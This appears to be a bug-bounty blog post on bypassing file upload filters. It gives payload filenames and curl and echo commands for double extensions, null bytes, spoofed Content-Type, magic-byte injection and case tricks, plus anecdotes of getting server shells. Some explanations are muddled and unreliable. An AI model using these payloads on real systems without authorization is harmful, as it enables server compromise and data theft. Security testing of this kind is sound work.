July 28, 2026
File Upload Bypasses — The $4k Bug That Sneaks Past Filters (Part 1)
File uploads are everywhere.

By cyber-ninjaaa
4 min read
Profile pictures. Document uploads. Invoice attachments. Resume submissions. Logo uploads. File sharing.
Every time you upload a file, the server has to process it. And every time the server processes a file, there's a chance to break it.
I used to think file uploads were safe. The server checks the extension. It checks the content type. It checks the file size.
Then I found my first bypass. Uploaded a PHP shell as a profile picture. Accessed it. Got a shell on the server.
It was that simple.
Here's how.
First, what is a file upload bypass?
A file upload bypass is when you trick the server into accepting a malicious file.
The server thinks it's a harmless image. It's not. It's a PHP shell. Or a JavaScript payload. Or an HTML file that steals cookies.
The server saves it. You access it. You execute code on the server or in someone's browser.
That's the goal.
The three things servers check
Servers usually check three things.
1. File extension.
image.jpg ✅
shell.php ❌image.jpg ✅
shell.php ❌2. Content-Type header.
Content-Type: image/jpeg ✅
Content-Type: application/x-php ❌Content-Type: image/jpeg ✅
Content-Type: application/x-php ❌3. Magic bytes (file signature).
FF D8 FF E0 (JPEG) ✅
3C 3F 70 68 70 (PHP) ❌FF D8 FF E0 (JPEG) ✅
3C 3F 70 68 70 (PHP) ❌Your job is to bypass one or all of them.
Bypass 1: Double extension
This is the easiest. And it still works.
Upload a file with two extensions.
shell.php.jpgshell.php.jpgWhy it works:
The server checks the extension. It sees .jpg. It thinks it's safe.
But the server saves the file with the original name. shell.php.jpg
When you access it, the server executes it based on the last extension. .jpg is an image. But some servers execute .php.jpg as PHP.
How to test:
Create a file.
<?php phpinfo(); ?><?php phpinfo(); ?>Save it as info.php.jpg
Upload it.
Access /uploads/info.php.jpg
If you see PHP info, you win.
Bypass 2: Double extension (alternative)
Some servers check the extension from the end.
shell.php.jpg ❌ (checks .jpg)shell.php.jpg ❌ (checks .jpg)But what about:
shell.jpg.phpshell.jpg.phpNow the server sees .php. It blocks it.
Try:
shell.php;.jpg
shell.php%00.jpg
shell.php. .jpg
shell.php..jpgshell.php;.jpg
shell.php%00.jpg
shell.php. .jpg
shell.php..jpgWhy it works:
Some servers strip certain characters. Some servers ignore everything after a semicolon. Some servers handle null bytes differently.
How to test:
shell.php%00.jpgshell.php%00.jpgUpload it. Access /uploads/shell.php%00.jpg
If it works, you win.
Bypass 3: Content-Type spoofing
The server checks the Content-Type header.
Content-Type: image/jpegContent-Type: image/jpegWhat if you change it?
The test:
Upload shell.php with:
Content-Type: image/jpegContent-Type: image/jpegIf the server accepts it, you win.
Why it works:
Some servers only check the Content-Type. They don't check the file content. They don't check the extension.
How to test:
curl -X POST https://target.com/upload \
-F "file=@shell.php;type=image/jpeg"curl -X POST https://target.com/upload \
-F "file=@shell.php;type=image/jpeg"Bypass 4: Magic byte injection
The server checks the file signature (magic bytes).
A JPEG starts with FF D8 FF E0. A PNG starts with 89 50 4E 47. A PHP starts with 3C 3F 70 68 70.
What if you add JPEG magic bytes to a PHP file?
The test:
Create a file.
FF D8 FF E0 <?php phpinfo(); ?>FF D8 FF E0 <?php phpinfo(); ?>Save it as shell.php
Upload it.
If the server checks magic bytes, it sees JPEG. It accepts it.
When you access it, the PHP executes.
How to create it:
echo -e "\xFF\xD8\xFF\xE0<?php phpinfo(); ?>" > shell.phpecho -e "\xFF\xD8\xFF\xE0<?php phpinfo(); ?>" > shell.phpBypass 5: Null byte injection
Null bytes (%00) tell some systems "stop here."
The test:
shell.php%00.jpgshell.php%00.jpgWhy it works:
The server sees .jpg. It accepts it. But when the file is saved, the null byte tells the system to stop at .php.
The file is saved as shell.php. Not shell.php%00.jpg.
How to test:
Upload shell.php%00.jpg
Access /uploads/shell.php
Bypass 6: Case sensitivity
Some servers check extensions. But they're case sensitive.
shell.phP
shell.PHP
shell.PhPshell.phP
shell.PHP
shell.PhPWhy it works:
The server checks for .php. But .PHp isn't .php. It's case-sensitive.
How to test:
Upload shell.PHP
Access /uploads/shell.PHP
Bypass 7: File size limits
Some servers limit file size. But they forget to check the actual content.
Upload a tiny file. Or a huge file.
The test:
Upload a 1-byte file.
<?php<?phpIf the server accepts it, you can use it to test other bypasses.
How to test:
echo '<?php' > shell.php
curl -X POST -F "file=@shell.php" https://target.com/uploadecho '<?php' > shell.php
curl -X POST -F "file=@shell.php" https://target.com/uploadBypass 8: Filtering on the client side
Some servers only filter in JavaScript. Not on the server.
The test:
Open dev tools. Disable JavaScript. Upload shell.php.
Why it works:
The client-side filter is just for show. The server doesn't actually check.
How to test:
- Open dev tools
- Disable JavaScript
- Upload
shell.php
If it works, you win.
The real bounties
Example one. Double extension.
Social platform. Profile picture upload. Uploaded shell.php.jpg. Accessed /uploads/shell.php.jpg. Executed PHP. Read /etc/passwd. $4k.
Example two. Content-Type spoofing.
Cloud storage. Uploaded shell.php with Content-Type: image/jpeg. Accepted. Accessed. Shell. $5k.
Example three. Null byte.
CMS platform. Uploaded shell.php%00.jpg. Saved as shell.php. Accessed. $3k.
Example four. Case sensitivity.
E-commerce site. Uploaded shell.PHP. Accessed. Executed. $4k.
The checklist I actually use
Before I test any file upload, I run through this.
- Upload a normal file. Image. PDF. Document.
- Try double extension.
shell.php.jpg. - Try alternative extensions.
shell.jpg.php. - Change Content-Type.
image/jpeg. - Add magic bytes.
FF D8 FF E0 <?php phpinfo(); ?>. - Try null byte.
shell.php%00.jpg - Try case sensitivity.
shell.PHP. - Try tiny files. 1 byte.
- Disable JavaScript. Test client-side filters.
- Access the uploaded file. Check if it executes.
Ten checks. Fifteen minutes. Pays thousands.
The mindset shift
Most people see a file upload and think "that's for images."
You need to think "that's for my shell."
Every file upload is a potential entry point. A door that might be open.
Try every extension. Every Content-Type. Every magic byte. Every bypass.
One will work.
What's the craziest file upload bypass you've ever found? Drop it below.
Comment if you want Part 2.